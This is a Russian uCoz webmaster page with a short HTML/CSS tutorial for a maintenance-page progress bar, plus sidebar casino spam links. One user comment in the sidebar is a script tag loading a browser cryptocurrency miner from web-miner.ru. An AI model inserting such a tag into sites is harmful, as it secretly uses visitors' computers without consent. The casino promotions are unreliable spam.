Суббота, 24.02.2018, 05:31
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
  • Популярный клуб Вулкан. Почему тут стоит поиграть?
  • Как играть на деньги? Современные онлайн казино
  • Казино Вулкан. Возможности и преимущества игры на деньги
  • Игра на просторах Сети
  • Современные игры на мобильные телефоны. Во что стоит поиграть?
  • Как выигрывать в современных казино?
  • Об особенностях обмена вмр на приват: что следует знать
  • Вывоз металлолома средствами компании
  • Заказ ремонта под ключ. Индивидуальные решения
  • Успех азартных игр в интернете. Современное казино Вулкан
  • Разработка сайта
  • Что влияет на стоимость сайта?
  • Как самостоятельно создать блог без усилий
  • Как добавить карту сайта в Wordpress
  • В чем заключается SEO-продвижение сайта?
  • Продвижение ссылками – будет ли работать в 2015 году?
  • Программы обработки, сравнения и анализа прайсов
  • Комплексное продвижение сайта как основа репутационного маркетинга
  • У кого заказывать разработку сайта
  • Как создать интернет-магазин?
  • Наш опрос
    Каким EMAIL Вы пользуетесь?


    Всего ответов: 289

    установить такой вид опроса
    Статистика
    Яндекс.Метрика
    Онлайн всего: 8
    Гостей: 8
    Пользователей: 0


    Зарегистрировано 30529 (сегодня + 0 новых, вчера + 0 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

    установить такую статистику

    Блок CW результаты

    Победы
    Победы(10)

    Поражения
    Поражения(5)


    Установить CW блок на свой сайт
    Внимание!
    Наш сайт адаптирован под браузер Mozilla Firefox
    скрипты для uCoz
    Скачать/Download
    В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

    установить такой блок
    Расскажи Друзьям!
    Комментарии
    Новость: Видео чат для вашего сайта
    Александр написал:
    https://chat-vsem.blogspot.ru
    Новость: Преимущества создания сайта с помощью шаблона
    Вика Ромашкина написал:
    http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
    http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
    Новость: Блок баннеры "Наши друзья" uCoz
    написал:
    <script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

    Читать все комментарии
    Топ комментаторов

    установить такой информер
    VKONTAKTE

    FACEBOOK
    Главная страница » Помощь Вебмастеру » Категория Скрипты для uCoz » Добавлено [28.06.2013, 02:29]

    Прогресс Бар для ucoz

    Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

    Данный прогресс бар, для uCoz, может подойти для страницы тех. работ, сама страница оформлена в легком дизайне, присутствует желтая полоса которая показывает стадию разработки сайта.

    • Любите провести время у компьютера и смотреть кино, но лень постоянно качать их с интернета? Смотрите HD фильмы онлайн на сайте www.cinema-hd.ru!

    Вообщем, приступим к установке:

    1. Создаете новый текстовый документ и меняете название файла на index, а формат файла на .html. Потом открываете через блокнот и вставляете код:
    Код
    <!DOCTYPE HTML>  
      <html>  
      <head>  
      <meta charset="windows-1251">  
      <title>Progressing Bar</title>  
      <link rel="stylesheet" href="style.css" type="text/css">  
      </head>  

      <body>  

      <div id="lite_bg">  
      <div id="bgbar">  
      <div id="progress_bar" style="width:50%">  
      <div id="glow"></div>  
      </div>  
      </div>  
      </div>  

      </body>  
      </html>


    2. Все делаете тоже самое что и в первом пункте, но название файла будет style, а формат файла .css. После чего открываете и вставляете туды код:
    Код
    body {background:url(design_36/bg.jpg);margin:0;padding:0;color:#000;}  

      #lite_bg {background:url(design_36/bg_lite.jpg) no-repeat;width:400px;height:200px;margin:250px auto 50px;padding-top:100px;}  
      #bgbar {background:url(design_36/bg_bar.png) no-repeat;width:347px;height:65px;margin:0 auto;padding-top:26px;padding-left:27px;}  
      #progress_bar {background:url(design_36/progress_bar.png) no-repeat;width:320px;height:17px;position:relative;min-width:4%;max-width:92%;}  
      #progress_bar {transition:opacity 0.5s ease-out;-webkit-transition:opacity 0.5s ease-out;-moz-transition:opacity 0.5s ease-out;-o-transition:opacity 0.5s ease-out;}  
      #progress_bar:hover {opacity:0.6;}  
      #glow {background:url(design_36/glow_bar.png) no-repeat;width:32px;height:32px;position:absolute;top:-8px;right:-11px;}


    3. Потом создаете в файловом менеджере папку с именем "progress_bar". В ней создаете ещё папку с именем "design_36". Заливаете в папку "progress_bar" два файла, которые мы создали раньше, а в папку "design_36" картинки нужно будет залить

    Теперь мелкое исправления по поводу прогресс бара:
    Код
    <div id="progress_bar" style="width:50%">  
    <div id="glow"></div>  
    </div>
    width:50% - Меняете свое на свое значение от 0 до 100 [/code]


    При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Прогресс Бар для ucoz



    Расскажи друзьям интересные новости:


    - Установить на свой сайт блок социальных закладок
    Категория: Скрипты для uCoz | Добавил: hi7emka | Теги: Скрипт, прогресс, uCoz, Бар, для
    Просмотров: 4719 | Загрузок: 0 | Комментарии: 4 | Рейтинг: 5.0/1
    Всего комментариев: 4
    4 TicTac   (08.05.2016 18:18)
    А где архив? Или очередной копипаст? Как у всех нет архива! evil

    3 Maks-0101_01   (03.07.2013 09:45)
    Норммик

    2 Aragorn3092   (29.06.2013 17:27)
    Где взять такие картинки для бара такого? smile

    1 scripts_for_ucoz   (29.06.2013 02:41)
    как-то тут всё дико сложно будет выглядить для новичков biggrin

    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Для добавления необходима авторизация

    Хостинг от uCoz